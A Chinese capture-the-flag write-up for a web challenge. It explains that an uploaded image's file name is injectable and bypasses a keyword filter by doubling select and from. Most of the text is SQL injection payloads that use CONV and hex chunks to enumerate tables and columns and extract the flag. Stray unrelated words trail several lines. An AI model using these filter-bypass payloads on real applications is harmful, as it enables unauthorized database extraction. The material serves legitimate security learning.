攻防世界上的一道web题 web
为何我以为彻底不像萌新入坑的题呢 退坑还差很少吧sql
一看名字以及页面想固然的就是文件上传了呗函数
结果各类尝试,也没什么办法,可是每次咱们上传后会有文件名的回显3d
可是正常的文件上传也都有这种名字的回显,可能不太寻常的就是这个没有路径吧orm
最后看的writeup 说是sql注入????不明白怎么能看出来是注入的blog
图片文件名存在注入,而且过滤了select from 用双写就能绕过图片
payload = sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg文件上传
上网查了一下CONV这个函数it
意思就是咱们将substr(hex(dAtaBase()) 的结果从16进制转化为10进制io
起初我没明白为何要这么长 直接sselectelect database()不就好了吗?
尝试之后发现应该都是题的设置
sselectelect database() => 0
selecselectt substr(dAtabase(),1,12) => 0
selecselectt substr(hex(dAtabase()),1,12) => 7765625 这里正常应该显示7765625f7570才对,多是题目的设置,出现字母之后后面内容就会被截断
因此才用到了CONV,将16进制转化为10进制
可是又有了一个疑问,为何substr要设置为1到12呢,尝试之后发现
当咱们设置为1,13时
出现了科学计数法,这是没法转化为10进制的,因此才设定了1,12这个限制
这些搞明白了之后那就开始注入了
库:
sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg => 131277325825392 => web_up (这里将10进制再转化为16进制进行hex解码就出来了)
sql'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg => 1819238756 => load
拼接之后 web_upload
表:
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg
拼接之后为 files,hello_flag_is_here
列:
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg
拼接之后为 i_am_flag
字段:
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg
拼接之后为 !!_@m_Th.e_F!lag
又学到了新的注入方法,可是这个的局限性应该挺大的,不知道是脑洞太大仍是我太菜,哭了